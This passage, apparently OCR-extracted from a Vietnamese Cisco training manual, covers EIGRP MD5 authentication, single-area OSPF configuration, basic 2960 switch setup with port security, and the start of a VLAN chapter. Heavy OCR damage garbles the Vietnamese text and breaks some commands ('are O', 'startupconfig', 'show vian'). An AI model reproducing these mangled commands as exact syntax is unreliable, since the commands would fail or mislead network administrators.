Chi ra khoang thdi gian ma key c6 thé
gui.

Austin(config-keychain-key)#exit

Tr& vé ché dd cau hinh Global

Austin(config) #exit

Trd vé ché do cau hinh privileged

Austin#copy running-config

startupconfig

Luu file cdu hinh dang chay trén RAM vao
NVRAM

Router Houston

Houston>enable

Chuyén cau hinh vao ché& dé Privileged

Houston#configure terminal

Chuyén cdu hinh vao ché dé Global

configuration

Houston(config) #interface serial 0/1

Vao ché& do cdu hinh cla interface S0/1

Houston(config-if) #ip address
172.16.20.2 255.255.255.0

Gan dia chi IP va subnetmask cho

interface

Houston(config-if) #ip authentication

mode eigrp 100 md5

Cho phép thuat toan MD5 dugc s dung
dé xac thuc cac géi tin EIGRP

Houston(config-if) #ip authentication
key-chain eigrp 100 eddie

Cho phép thuéat toan MD5 dugc sur dung
dé xac thuc cac géi tin EIGRP, v4i eddie

la tén cua key chain.

Houston(config-if) #clock rate 56000

Cau hinh Clock rate

Houston(config-if)#no shutdown

Enable Interface.

Houston(config-if) #interface
fastethernet 0/1

Vao ché do cau hinh cua interface fa0/1

Houston(config-if) #ip address
172.16.30.1 255.255.255.0

Gan dia chi IP va subnetmask cho

interface

Houston(config-if)#no shutdown

Enable Interface.

Houston(config-if) #router eigrp 100

Enable giao thirc dinh tuyén EIGRP hoat

dong trén router

Houston(config-router)#no auto-

Disable tinh nang tu ddng tdng hdp dia
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summary

chi IP

Houston(config-router) #eigrp
logneighbor-
Changes

Hién thi nhirng thay d6i cla neighbors

Houston(config-router)#network
172.16.0.0

Quang ba cac mang dang két ndi truc

ti€p vao cac interface cua router

Houston(config-router) #key chain
eddie

Tao mot key chain, key chain nay phai
giong vdi tén cua key chain & trong mode

interface

Houston(config-keychain)#key 1

Xac dinh chi s6 cia mét key

Houston(config-keychain-
key)#keystring

Tower

Xac dinh key string

Houston(config-keychain-
key)#acceptlifetime
06:30:00 Apr 19 2007 infinite

Chi ra khoang thdi gian ma key c6 thé
dugc nhan.

Houston(config-keychain-
key)#sendlifetime

06:30:00 Apr 19 2007 09:45:00
Apr 19 2007

Chi ra khoang thdi gian ma key cé thé
gui.

Houston#copy running-config
startupconfig

Luu file cdu hinh dang chay trén RAM vao
NVRAM

Chucong 7: OSPF don vung

Chuong nay sé cung cap cac thong tin va nhitng cau Iénh cé lién quan dén nhitng chu dé

Sau:

- C&u hinh OSPF: cac céu |Iénh b3t budc

- SUr dung wildcard mask véi cac ving OSPF

- Cau hinh OSPF: Cac cau Iénh tuy chon
+ Loopback interface
+ Router ID
+ Bau chon DR/BDR
+ Slra d6i gia tri cia cac metric

+ Xac thuc: don gian

+ Xac thuc: Sur dung thuat toan MD5
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+ Cac tham s6 thdi gian
+ Quang ba Default route
- Kiém tra cdu hinh OSPF
- Xt ly 16i OSPF

- Vi du: cdu hinh OSPF dagn ving

1. C&u hinh OSPF: cac ciu |énh bt bubc

Router(config)# router ospf 123

Khgi dong giao thic dinh tuyén OSPF vdi
process id la 123. Process ID la mét gia
tri nguyén nam trong khoang tir 1 dén
65535. Proccess ID khéng co6 lién quan
dén OSPF area.

Router(config-router)# network
172.16.10.0 0.0.255 are O

OSPF quang ba cac interface, khong phai
la quang ba cac mang. S dung wildcard
mask dé xac dinh nhifing interface nao sé

dudc quang ba.

* Cha y: Proccess ID trén mot router
khong can thiét phai giébng véi process ID

trén cac router khac.

Router(config-router)# log-adjacency-

changes detail

C&u hinh @& céac router s& gui mot théng
diép log khi c6 su thay d6i vé trang thai
cla cac OSPF neighbor.

2. S dung wildcard mask vdéi cac OSPF area

- Khi dugc dung dé so sanh céac dia chi IP, mét wildcard mask s& xac dinh nhitng dia chi nao

tuong Ung cho mét area:

+ Gia tri 0 la mét wildcard mask dugc dung dé kiém tra ddng bit dé trong dia chi IP

phai tuang Ung.

+ Gid tri 1 18 mét wildcard mask dudgc dung dé€ bd qua bit d6 trong dia chi IP

Vidu1:172.16.0.0 0.0.255.255
172.16.0.0 =

10101100.00010000.00000000.00000000

0.0.255.255 = 00000000.00000000.11111111.11111111
result = 10101100.00010000.XXXXXXXX . XXXXXXXX
172.16.x.x (moi dia chi
172.16.255.255 sé tuang ng vdi vi du nay)

IP ndm trong khoang t&r 172.16.0.0 va

Vidu 2:172.16.8.0 0.0.7.255

172.168.8.0 = 10101100.00010000.00001000.00000000
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0.0.0.7.255 = 00000000.00000000.00000111.11111111

result = 10101100.00010000.00001xxx.XXXXXXXX
00001xxx = 00001000 to 00001111 = 8-15
XXXXXXXX = 00000000 to 11111111 = 0-255

Moi dia chi IP nam trong khoang tlr 172.16.8.0 dén 172.16.15.255 sé tudng
rng véi vi du nay.

Router(config-router)# network C4au lénh nay cé thé dudc hiéu nhu sau:
172.16.10.1 0.0.0.0 are O Moi interface c6 dia chi IP chinh xac la
172.16.10.1 sé hoat dong trong area 0
Router(config-router)# network Cau lénh ndy cd thé dudc hiéu nhu sau:
172.16.10.0 0.0.255.255 are 0 Moi interface cé dia chi IP ndm trong dai

tr 172.16.0.0 dén 172.16.255.255 sé
dudc quang ba trong area 0

Router(config-router)# network 0.0.0.0 | Cau |énh nay cé thé dudc hiéu nhu sau:
255.255.255.255 are 0 Moi dia chi IP cla cac Interface déu dugc

quang ba trong area 0

2. C4u hinh OSPF: Cac cau lénh tuy chon
- Nhi*ng cau Iénh trong phan nay, mac du la nhitng cdu 1énh khéng yéu céu bat budc phai
cdu hinh, nhung ban cé thé tham khao thém dé cé nhiéu kha ndng diéu khién va trién khai

hiéu qua OSPF haon trong hé thGng mang ctia minh.

2.1. Loopback Interface

Router(config)# interface loopback 0 Tao mot interface ao tén la loopback O,
va sau d6 chuyén vao ché dd ciu hinh

cua interface nay.

Router(config-if)# ip address Gan mot dia chi IP cho interface nay.
192.168.100.1 255.255.255.255

* Cha y: Loopback interface sé lu6n up
va khong bao gid down trr khi ban
shutdown. Dia chi IP cla interface
loopback I8n nhat sé dugc chon lam
OSPF router ID.

2.2. Router ID

Router(config)# router ospf 1 Khdi dbéng giao thic dinh tuyén OSPF
trén router vdi process la 1.

Router(config-router)# router-id C4u hinh Router ID 1a 10.1.1.1.

10.1.1.1
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Router(config-router)# no router-id
10.1.1.1

Xo6a bd Router ID.

2.3. Bau chon DR/BDR

Router(config)# interface serial 0/0

Chuyén ché d& cdu hinh vao interface
s0/0

Router(config-if)# ip ospf priority 50

Thay d6i gid tri priority trén interface
s0/0 la 50

* Chu y: Gia tri priority cé thé dudc gan
tr 0 dén 255. Néu mot interface nao
dugc gan gia tri priority bang 0 thi router
dé sé khong bao giG dudc chon la DR
hodc BDR. Router nao cé gia tri priority
I6n nhat sé dugc bau chon lam DR. Néu
mot interface clia router nao dé dugc gan
gia tri priority la 255 thi router dé lap tuc
trd thanh DR. NEéu cac router déu cé gia
tri priority bang nhau, thi gid tri priority
trén router s& khéng dugc dung dé bau
chon DR va BDR. Khi d6 router nao co
route ID I6n nhat sé dudc bau chon la
DR.

2.4. Sira dGi gia tri Metric

Router(config)# interface serial 0/0

Chuyé&n cdu hinh vao ché dd interface
s0/0

Router(config-if)# bandwidth 128

Né&u ban thay d&i bandwidth, thi OSPF s&
thuc hién tinh toan lai cost cho cac két

Are

nol.

Hoac

Router(config-if)# ip ospf cost 1564

Thay d6i gid tri cost la 1564

* Chu y: Cost clia moét két nGi dugc tinh
bang coéng thirc: 100000000/ BW (bps)
Bandwidth cha mét interface nam trong
khoang tir 1 dén 10000000. Bon vi la
kbps.

Cost la mét s6 ndm trong khoang tir 1
dén 65535. Cost khéng cé daon vi.
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2.5. Xac thuc don gian

Router(config)# router ospf 1

Khéi dong giao thlic dinh tuyén OSPF
trén router vdi Process id la 1.

Router(config-router)# area 0

Authentication

Enable xac thuc don gidn trén router;
mat kh&du dé xac thuc s& dudc trao ddi

dudi dang text

Router(config-router)#exit

Tré vé ché do cau hinh Global

Router(config)# interface
fastethernet 0/0

Chuyén cdu hinh vao ché dd Interface
fa0/0

Router(config-if)# ip ospf
authentication-key fred

C4&u hinh password la: fred

Chu y : Password cé thé la nhitng ky tu
dugc nhap vao tu ban phim, do dai toi da
la 8 byte. PE c6 thé trao ddi thdng tin
cua OSPF, thi tat cad cac router neighbor

phai dudc cau hinh clung password.

2.6. Xac thuc: s dung thuat toan MD5

Router(config)# router ospf 1

Khai déng giao thidc dinh tuyén OSPF

trén router

Router(config-router)#area 0

authentication message-digest

Enable phudng phap xac thuc véi thuat
toan MD5

Router(config-router)#exit

Chuyén céu hinh vé ché& d6 Global

Router(config) #interface
fastethernet 0/0

Chuyén vao ch& dd ciu hinh interface
fa0/0

Router(config-if) #ip ospf
messagedigest-
key 1 md5 fred

1 1a key-id. Gia tri nay sé phai dugc cau
hinh giéng v@i cac router neighbor.

Md5: la tur khda chi ra thuat todn MD5 sé
dugc st dung dé ma héa

Fred: la password va sé€ phai dudc cau

hinh giéng cac router neighbor.

2.7. Cac tham s06 thdi gian

Router(config-if)# ip ospf hello-

interval timer 20

Thay d8i thdi gian Hello Interval Ia 20
giay.

Router(config-if)# ip ospf dead-
interval 80

Thay déi tham s& thdi gian Dead Interval
la 80 giay.

Chu y: D6i vdi cac router chay OSPF thi

sé phai cdu hinh giéng nhau vé cac tham
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sO thdi gian Hello va Dead Interval.

2.8. Quang ba Default Route

Router(config)# ip route 0.0.0.0
0.0.0.0s0/0

Tao mot default route

Router(config)# router ospf 1

Khégi dong giao thirc dinh tuyén OSPF vdi

process id la 1

Router(config-router)# default-

information originate

Thuc hién quang ba default route cho tat

ca cac router chay OSPF.

Router(config-router)# default-

information originate always

TU khoa always la mot tuy chon dudc
dung d&€ quang bad médt default “quad-
zero” route néu mot default route khéng

dugc cau hinh trén router do.

Chu y: Cau lénh default-information
originatehoac default-information
originate always dudc s dung duy
nhat bdi cac router gateway, router dang
két noi
thudng

dén mang outside -
dugc

Thong
router do goi la:
Autonomous System Boundary Router

(ASBR).

2.9. Kiém tra C&u hinh OSPF

Router#show ip protocol

Hién thi cac tham s6 cua cac giao thirc

dang chay trén router.

Router#show ip route

HIén thi bang dinh tuyén

Router#show ip ospf

Hién thi thoéng tin cd ban vé tién trinh x{r
ly chia giao thirc dinh tuyén OSPF

Router#show ip ospf interface

Hién thi cac thong tin vé giao thirc OSPF

co lién quan dén céc interface

Router#show ip ospf interface
fastethernet 0/0

Hién thi cac thong tin vé OSPF lién quan

dén interface fa0/0

Router#show ip ospf border-routers

Hién thi théng tin vé router border va

boundary

Router#show ip ospf neighbor

Hién thi danh sach cac OSPF neighbor va

cac trang thai ctia né.

Router#show ip ospf neighbor detail

Hién thi chi tiét danh sach cua cac

neighbor

Router#show ip ospf database

Hién thi bang OSPF database

Router#show ip ospf database

Hién thi trang thai lién két cia NSSA md
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nssa-external

rong.

2.10. XU ly 16i OSPF

Router# clear ip route *

Xo6a thdng tin trong bang dinh tuyén, dé

router thuc hién xay dung lai bang dinh

tuyén.

Router# clear ip route a.b.c.d

Xbéa mot route nao ddé trong bang dinh

tuyén.

Router# clear ip ospf process

Khgi tao lai toan bd tién trinh x{r ly cua
OSPF trén router, khi dé giao thirc dinh
tuyén OSPF sé thuc hién xay dung lai
bang neighbor, bang database va bang

dinh tuyén.

Router# debug ip ospf events

Hién thj cac su kién cua OSPF

Router# debug ip ospf adjacency

Hién thi cac trang thai khac nhau cua
OSPF va bau chon DR/BDR gilta cac

router neighbor.

Router# debug ip ospf packets

Hién thi cac gdi tin ma OSPF d3 thuc hién
trao d6i gilta cac router.

3. Vi du: Cau hinh OSPF dagn vung

Hinh 7-1 1a sc d6 mang dugc dung cho vi du cdu hinh OSPF don vlung, cdu hinh OSPF daon
vlng trén cac router sé chi dung dén cac cau Iénh trong pham vi clia chugng nay.

Hinh 7-1

Metwork
172.16.20.030

Network
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MNetwork
172.16.50.024
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Router Austin

Router>enable

Chuyén céu hinh vao ché dd Privileged

Router#configure terminal

Chuyén cdu hinh vao ché& ddé Global
Configuration

Router(config) #hostname Austin

Cau hinh tén router Ia Austin

Austin(config)#interface
fastethernet 0/0

Chuyén cdu hinh vao ché dé interface
fa0/0

Austin(config-if)#ip address
172.16.10.1 255.255.255.0

Gan dia chi IP va subnetmask cho

interface fa0/0

Austin(config-if)#no shutdown

Enable Interface.

Austin(config-if)#interface serial
0/0

Chuyén vao ché dd cdu hinh cla

interface s0/0

Austin(config-if)#ip address
172.16.20.1 255.255.255.252

Gan dia chi
interface

ip va subnetmask cho

Austin(config-if)#clock rate 56000

Cau hinh clock rate cho interface DCE

Austin(config-if)#no shutdown

Enable Interface

Austin(config-if) # exit

Trd vé ché do6 cau hinh Global

Configuration

Austin(config)#router ospf 1

Cho phép router chay giao thic dinh
tuyén OSPF véi Process ID la 1

Austin(config-router)#network
172.16.10.0 0.0.0.255 area O

Thuc hién quang ba cidc mang két ndi
truc ti€ép vao interface cua router trong

area 0

Austin(config-router)#network
172.16.20.0 0.0.0.255 area O

Thuc hién quang ba cac mang két ndi
truc ti€ép vao interface cua router trong

area 0

Austin#copy running-config
startup-config

Luu file cadu hinh dang chay trén RAM vao
NVRAM

Router Houston

Router>enable

Chuyén cau hinh vao ché& dd Privileged

Router#configure terminal

Chuyén cdu hinh vao ch& dé Global

Configuration

Router(config) #hostname Houston

Cau hinh tén router |a Houston

Houston(config) #interface
fastethernet 0/0

Chuyén cdu hinh vao ché dé interface
fa0/0

Houston(config-if)#ip address
172.16.30.1 255.255.255.0

Gan dia chi IP va subnetmask cho

interface fa0/0

Houston(config-if)#no shutdown

Enable Interface
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Houston(config-if) #interface
serial0/0

Chuyén vao ch&é dd cdu hinh cla

interface s0/0

Houston(config-if) #ip address
172.16.40.1 255.255.255.252

Gan dia chi

interface

ip va subnetmask cho

Houston(config-if) #clock rate 56000

Cau hinh clock rate cho interface DCE

Houston(config-if)#no shutdown

Enable Interface

Houston(config) #interface serial 0/1

Chuyén vao ché dd cdu hinh cla

interface s0/1

Houston(config-if) #ip address
172.16.20.2 255.255.255.252

Gan dia chi

interface

ip va subnetmask cho

Houston(config-if)#no shutdown

Enable Interface

Houston(config-if) #exit

Chuyén cdu hinh vao ch& dd Global

Configuration

Houston(config) #router ospf 1

Cho phép router chay giao thic dinh
tuyén OSPF véi Process ID la 1

Houston(config-router)#network
172.16.0.0 0.0.255.255 area 0

Thuc hién quang ba cac mang két ndi
truc ti€p vao interface cua router trong

area 0

Houston(config-router)# <ctrl> z

Trd vé ché do cau hinh Privileged

Houston#copy running-config
startupconfig

Luu file cau hinh dang chay trén RAM vao
NVRAM

Router Galveston

Router>enable

Chuyén cau hinh vao ché dé Privileged

Router#configure terminal

Chuyén cdu hinh vao ché ddé Global

Configuration

Router(config)#hostname Galveston

Cau hinh tén router la Gaveston

Galveston(config) #interface

Chuyén cdu hinh vao ché& dd interface

fastethernet 0/0 fa0/0
Galveston(config-if)#ip address Gan dia chi ip va subnetmask cho
172.16.50.1 255.255.255.0 interface

Galveston(config-if)#no shutdown

Enable Interface

Galveston(config-if) #interface
serial 0/1

Chuyén vao ché€ d6 cdu hinh cua

interface s0/1

Galveston(config-if) #ip address
172.16.40.2 255.255.255.252

Gan dia chi
interface

ip va subnetmask cho

Galveston(config-if)#no shutdown

Enable Interface

Galveston(config-if) #exit

Chuyén cdu hinh vao ch& dbé Global

Configuration
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Galveston(config) #router ospf 1

Cho phép router chay giao thic dinh
tuyén OSPF véi Process ID la 1

Galveston(config-router)#network
172.16.40.2 0.0.0.0 area 0

Thuc hién quang ba cac mang két ndi
truc ti€p vao interface cua router trong

area 0

Galveston(config-router)#network
172.16.50.1 0.0.0.0 area O

Thuc hién quang ba cac mang két ndi
truc ti€p vao interface cua router trong

area 0

Galveston(config-router)#<ctrl> z

Tr& vé ché dé cau hinh Privileged

Galveston#copy running-config
startup-config

Luu file cau hinh dang chay trén RAM vao
NVRAM
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Phan IV: CHUYEN MACH (SWITCHING)
Chuong 8: Cau hinh cg ban switch

Chuong 9: VLAN
Chuong 10: Vlan Trunking Protocol (VTP) va Dinh tuyén gilra cac VLAN

Chuong 11: STP va EtherChannel

Chucong 8: Cau hinh cg ban switch

Chuadng nay sé cung cap nhitng théng tin va cac cau Iénh lién quan dén nhiing cha dé sau:

- Cac cau lénh trg giup

- Cac ché d6 hoat dong cta cau Iénh
- Cac cau lénh kiém tra

- Khdi tao lai cau hinh switch

- Cau hinh tén switch

- Cau hinh password

- Cau hinh dia chi IP va default gateway
- Cau hinh mo ta interface

- Cau hinh duplex

- C4u hinh toc do

- Quan ly bang dia chi MAC

- Cau hinh tinh dia chi MAC

- Switch port security

- Kiém tra switch port security

- Sticky MAC address

- Cau hinh vi du.

1. Cac cau lénh trg giup

Switch> ? Phim ? dugc dung lam phim trg giup

giong nhu router

2. Cac ché do hoat déng cua cau lénh

Switch> enable La ché do User, giGng nhu router
Switch# La ché& do Privileged

Switch# disable Thoat khoi ché do privileged
Switch> exit Thoat khoi ché do User

3. Cac cau |énh kiém tra

Switch# show running-config Hién thi file cdu hinh dang chay trén
RAM.
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Switch# show startup-config

Hién thi file cdu hinh dang chay trén
NVRAM

Switch# show post

Hién thi qua trinh POST

Switch# show vian

Hién thi thdng tin cdu hinh VLAN

Switch# show interfaces

Hién thi théng tin cdu hinh vé& cac
interface co trén switch va trang thai cua

cac interface do.

* Cha y: Cau Iénh nay khong dudc ho trg
trong mot s6 phién ban cua Cisco I0S
nhu 12.2(25)FX.

Switch# show interface vian 1

Hién thi cic théng s& cdu hinh cla
Interface VLAN 1, Vlan 1 la vlan mac

dinh trén tat ca cac switch cua cisco.

* Cha y: Cau lénh nay khéng dugc ho trg
trong mot s6 phién ban cua Cisco I0S
nhu 12.2(25)FX.

Switch# show version

Hién thi thong tin vé phan cing va phan

mém cua switch

Switch# show flash:

Hién thi thdng tin vé& bd nhd flash

Switch# show mac-address-table

Hién thi bang dia chi MAC hién tai cua

switch

Switch# show controllers ethernet-

controller

Hién thi thdng tin vé Ethernet Controller

4, X0Oa cac file cau hinh trén switch

Switch# delete flash:vlan.dat

Xoa VLAN database tir bd nhd flash:

Delete filename [vlan.dat]?

Nhan phim Enter

Delete flash:vlan.dat? [confirm]

Nh&n phim Enter

Switch# erase starup-config

Xoa file cau hinh Iuu trén NVRAM

Switch# reload

Khéi dong lai switch

5. Cau hinh tén switch

Switch# configure terminal

Chuyén cdu hinh vao ché& dd Global
Configuration

Switch(config)# hostname 2960Switch

bat tén cho switch la 2960Switch. Cau
[énh dat tén nay thuc thi gi6ng trén

router.

2960Switch(config) #
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6. Cau hinh Password

- Cau hinh cac password cho dong switch 2960 tudng tu nhu khi thuc hién trén router.

2960Switch(config) #enable password

cisco

Cau hinh Password enable cho switch la
Cisco

2960Switch(config) #enable secret

class

Cau hinh Password enable dugc ma hoda

la class

2960Switch(config)#line console 0

Vao ché& dd cau hinh line console

2960Switch(config-line) #login

Cho phép switch kiém tra password khi
ngudi dung login vao switch thong qua

console

2960Switch(config-line) # password

cisco

Cau hinh password cho console la Cisco

2960Switch(config-line) #exit

Thoat khoi ché do cau hinh line console

2960Switch(config-line)#line aux 0

Vao ché& do cau hinh line aux

2960Switch(config-line)#login

Cho phép switch kiém tra password khi
ngudi dung login vao switch thong qua

cdng aux

2960Switch(config-line) # password

cisco

C4u hinh password cho c8ng aux la Cisco

2960Switch(config-line) #exit

Thoat khoi ché d6 cau hinh line aux

2960Switch(config-line) #line vty 0 4

Vao ché do cau hinh line vty

2960Switch(config-line)#login

Cho phép switch kiém tra password khi
ngudi dung login vao switch thong qua

telnet

2960Switch(config-line) # password

C4u hinh password cho phép telnet la

cisco Cisco
2960Switch(config-line) #exit Thoat khoi ché do cdu hinh cla line vty
2960Switch(config) #

7. Cau hinh dia chi IP va default gateway

2960Switch(config)# Interface vian 1

Vao ché& do cau hinh cla interface vlan 1

2960Switch(config-if)# ip address
172.16.10.2 255.255.255.0

Gan dia chi ip va subnet mask @& cho

phép truy cap switch tu xa.

2960Switch(config) #ip default-
gateway 172.16.10.1

Cdu hinh dia chi default gateway cho
switch

8. Cau hinh mo ta cho interface

2960Switch(config)# interface
fastethernet 0/1

Vao ché& do cdu hinh cla interface fa0/1

2960Switch(config-if)# description

Thém mot doan mo ta cho interface nay.
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Finace VLAN

* Cha y: DG6i vGi dong switch 2960 c6 12 hoac 24 Fast Ethernet port thi tén cla cac port dé
sé& bat dau tu: fa0/1, fa0/2.... Fa0/24. Khéng co6 port Fa0/0.

9. Cau hinh Duplex

2960Switch(config) # interface
fastethernet 0/1

Chuyé&n cdu hinh vao ché& dd interface
fa0/1

2960Switch(config-if)# duplex full

C&u hinh cho interface fa0/1 hoat dong &

ché dé full duplex.

2960Switch(config-if)# duplex auto

Cau hinh cho interface fa0/1 hoat déng &
ché do auto duplex.

2960Switch(config-if)# duplex half

C&u hinh cho interface fa0/1 hoat dong &
ché do half duplex.

10.

Cau hinh téc do

2960Switch(config)# interface
fastethernet 0/1

Chuyén cau hinh vao ché& d6 fa0/1

2960Switch(config-if)# speed 10

Cau hinh téc do6

10Mbps

cho interface fa0/1 la

2960Switch(config-if)# speed 100

Cdu hinh t6c dd cho interface fa0/1 la
100 Mbps

2960Switch(config-if)# speed auto

Cho phép interface fa0/1 sé tu déng diéu
chinh t6c d6 phu hagp.

11.

Quan ly bang dia chi MAC

Switch# show mac address-table

Hién thi n6i dung bang dia chi mac hién

thai ctia switch

Switch# clear mac address-table

Xoéa toan bbé cac danh muc cla bang dia

chi mac hién tai

Switch# clear mac address-table

dynamic

Xdéa toan bd cac danh muc dugc xay
dung tu déng trong bang dia chi mac

hién tai cha switch

12.

Cau hinh Static MAC address

2960Switch(config)#mac address-table
static

aaaa.aaaa.aaaa vlan 1 interface
fastethernet

0/1

Gan mot dia chi MAC c6 dinh vao port
fa0/1 ném trong Vlan 1
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2960Switch(config)#no mac address-
table

static aaaa.aaaa.aaaa vlan 1
interface

fastethernet 0/1

Xdéa bd mot dia chi mac da dugc gan co
dinh vao port fa0/1 nam trong VLAN 1

13. Cau hinh switch port security

Switch(config)# interface fastEthernet
0/1

Chuyén cdu hinh vao ché dd interface
fa0/1

Switch(config-if)# switchport port-

security

Enable tinh nang port security trén
interface.

Switch(config-if)# switch port-security

maximum 4

C&u hinh gidi han s6 dia chi mac sé dugc

hoc trén port nay.

Switch(config-if) #switchport port-
security
mac-address 1234.5678.90ab

Gan c6 dinh dia chi MAC 1234.5678.90ab
vao port fa0/1. Néu ban mudn gan thém
dia chi MAC vao port nay thi ban phai cdu
hinh thém gid tri cho phép dia chi MAC
dugc hoc vao moét port bang cdu lénh

trén.

Switch(config-if) #switchport port-
security

violation shutdown

C4u hinh port security sé trg vé trang
thai shutdown néu vi pham luat dat ra &

trén.

* Chua y: trong ché d6 shutdown, thi port
nay sé & trang thai errdisabled, mot danh
muc log sé dugc tao ra, va ban mudn
khoi phuc lai trang thai hoat dong binh
thudng cua port nay thi ban sé phai
Enable lai interface nay.

Switch(config-if) #switchport port-
security

violation restrict

Néu vi pham vao tinh nang bao mat thi
port security sé trd vé trang thai restrict
(la trang thai ma port sé huy dir liéu
nhan va dong thgi tao ra moét danh muc
log, va interface van s& hoat dong binh
thudng)

Switch(config-if) #switchport port-
security

violation protect

Néu vi pham vao tinh ndang bao mat da
dat ra cho muic do port thi port do sé trd

veé trang thai Protect.

* Chu y: Trong ché d0 protect thi frame
s€ bi hay khi port d6 nhan dugc, va
khong cé log dugdc tao ra. Port nay van
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hoat dong binh thudng

14. Kiém tra switch port security

Switch# show port-security

Hién thi théng tin bao mét cho cac

interface

Swtich# show port-security interface
fastethernet 0/5

Hién thi thong tin bdo mét cho interface
fa0/5

Switch# show port-security address

Hién thi thong tin bdo mét clua bang dia
chi MAC

Switch# show mac address-table

Hién thi bang dia chi MAC

Switch# clear mac address-table

dynamic

Xo6a toan bo cac dia chi MAC dugc hoc
théng qua phuang phap dynamic

Switch# clear mac address-table
dynamic address aaaa.bbbb.cccc

X6a mét dia chi MAC cu thé nao d6 dugc

chi ra

Switch# clear mac address-table

dynamic interface fastethernet 0/5

Xoa tat ca nhitng dia chi MAC nao dudgc
hoc tu dong trén interface fa0/5

Switch# clear mac address-table

dynamic vian 10

Xo6a toan bd dia chi MAC dudc hoc tu
dong trén VLAN 10.

* Chu y: B&t dau tlr phién ban Cisco 10S
12.1(11) EA1, thi cau lénh clear mac
address-table s& dugc thay thé€ bang

cau lénh clear mac-address-table.

15.Cau hinh Sticky MAC address

- Sticky MAC address la tinh nang cla port security. Sticky MAC address sé& gidi han s6
lugng dia chi MAC c6 thé tu déng hoc vao mdt switch port access. Ngudi quan tri mang
cling c6 thé ciu hinh b&ng tay d& gan mot dia chi MAC vao mét port nao d6. Nhitng dia chi
nay sé dudc luu trong file running configuration. Néu file nay dudc Iuu lai, thi sticky MAC

address sé khong dudc phép hoc lai khi switch khéi dong lai, va diéu nay sé cung cap thém

tinh nang bado mat t6t han cho switch port security.

Switch(config)# interface fastethernet
0/5

Chuyén cdu hinh vao ché dd Interface
fa0/5

Switch(config-if)# switchport port-

security mac-address sticky

Chuyén t4t ca port security tor ch& dé hoc
dia chi MAC tu dong sang Sticky MAC

address.

Switch(config-if)# switchport port-
security mac-address sticky vian 10

voice

Chuyén t&t ca cac port security tir ché dé
hoc dia chi mac tu dong sang ché d6 hoc
dia chi MAC sticky trén VLAN 10 la vlan

voice.
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16. Vi du

- Hinh 8-1 hién thi s6 d6 mang dudc dung cho vi du cdu hinh cd ban switch 2960 s dung

nhifng cau 1&énh ndm trong pham vi cia chuang nay.

Hinh 8-1

Metwork 192.168.1.0/24

—_—
l Bjsr;nar;

Falm 19216811

29605witch | 152.168.1.2

Workstation A
192.168.1.10

FalA

Workstation B
192.168.1.11

switch>enable

Chuyén céu hinh vao ché dé privileged.

switch#configure terminal

Chuyén cdu hinh vao ch& ddé Global

configuration

switch(config)#no ip domain-lookup

Tat tinh nang Domain Name System
(DNS)

switch(config)#hostname 2960

Cau hinh tén cho switch la 2960

2960(config)#enable secret cisco

C&u hinh password enable la Cisco

2960(config)#line console 0

Vao ché do cau hinh line console

2960(config-line)#logging

synchronous

Cho phép nhiing théng tin log hién thi
trén man hinh console s& khdéng ngat cac
cau lénh hién thdgi.

2960(config-line)#login

Ngudi dung sé phai login vao switch
trude khi st dung.

2960(config-line) #password switch

C&u hinh password cho console la switch

2960(config-line)#exec-timeout 0 0

Console sé khong bao gid bi logout

2960(config-line) #exit

Trd vé ché do Global configuration

2960(config)#line aux 0

Chuyén céu hinh vao ché dd line aux

2960(config-line)#login

Ngudi dung s& phai login vao céng aux

trudce khi str dung céng nay

2960(config-line)#password class

C4u hinh password cho c8ng aux la class
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2960(config-line)#exit

Trd vé ché d0 cdu hinh Global

configuration

2960(config)#line vty 0 15

Chuyén cdu hinh vao ché& dé line vty

2960(config-line)#login

Ngugi dung sé phai login vao vty port
trudc khi st dung

2960(config-line)#password class

Cau hinh password cho phép telnet Ia

class

2960(config-line) #exit

Chuyén cdu hinh v& ché& db Global

configuration

2960(config)#ip default-gateway
192.168.1.1

Cau hinh dia chi default gateway cho

switch

2960(config)#interface vian 1

Chuyén cdu hinh vao ché& dd interface

vlian 1

2960(config-if)#ip address
192.168.1.2
255.255.255.0

Gan dia chi IP va subnetmask cho

interface vian 1

2960(config-if)#no shutdown

Enable interface vian 1

2960(config-if)#interface fastethernet
0/1

Chuyén vao ch& dd cdu hinh cula

interface fa0/1

2960(config-if)#description Link to
Bismarck

Router

Pat 16i mo ta cho interface fa0/1

2960(config-if)#interface fastethernet
0/4

Chuyén vao ché dd cdu hinh cla

interface fa0/4

2960(config-if)#description Link to
Workstation A

Dat 16i mo6 ta cho interface fa0/4

2960(config-if) #switchport port-

security

Enable tinh nang port secrity trén port

nay

2960(config-if)#switchport port-
security

maximum 1

Gidi han s6 lugng dia chi MAC c6 thé
dudc hoc vao port nay la 1

2960(config-if) #switchport port-
security

violation shutdown

C&u hinh trang thai ma port nay sé hoat

dong khi tinh nang bao méat bi vi pham

2960(config-if)#interface fastethernet
0/8

Chuyén vao ché dd cdu hinh cla

interface fa0/8

2960(config-if)#description Link to
Workstation B

bat 16i mo6 ta cho interface fa0/8

2960(config-if) #switchport port-

security

Enable tinh nang port security trén port
fa0/8
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2960(config-if) #switchport port- Gidi han s6 lugng dia chi MAC sé dugc
security hoc vao port nay la 1

maximum 1

2960(config-if)#switchport port- Khi tinh ndng bao mat bi vi pham thi port
security nay sé trd vé hoat dong & trang thai
violation shutdown shutdown

2960(config-if) #exit Tra vé ché do global configuration
2960(config) #exit Trd vé ché do cau hinh privileged
2960#copy running-config startup- Luu file cdu hinh dang chay trén RAM vao
config NVRAM

2960#

Chuong 9: VLANs

Chuong nay sé cung cap nhitng thong tin va cac cau Iénh co lién quan dén nhirng chu dé

sau:

- Tao VLAN theo phucng phap Static
+ S dung ché do VLAN Configuration
+ S dung ché& do VLAN database

- Gan port vao VLAN

- SUr dung cau Iénh range

- Kiém tra théng tin VLAN

- Luu cdu hinh VLAN

- X6a cdu hinh VLAN

- Vi du cdu hinh VLAN

1. Tao VLAN theo phucong phap static

* Static VLAN c6 thé dugc sir dung khi mét port cua switch dudc gan bang tay bdi ngudi
quan tri mang vao trong mot VLAN. Mdi port s& dugc gan vao mdét VLAN dudc chi ra. Theo
mac dinh, tt ca cac port cua switch dugc gan vao trong VLAN 1. Ban cé thé tao cdc VLAN
khac theo hai phuong phap sau:

- SUr dung ché& dd VLAN configuration, cac ban nén sir dung phuong phap nay dé tao VLAN.

- S dung ché do VLAN database (phudng phap nay thudng khong dudc sir dung nhung né

van dugc hoat dong).

1a. Sur dung ché d6 VLAN Configuration

Switch(config)# vlan 3 Tao VLAN 3 va chuyén vao ché& dd ciu

hinh VLAN configuration
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Switch(config-vlan)# name

Engineering

Gan tén cho VLAN. B4 dai cla tén vlan
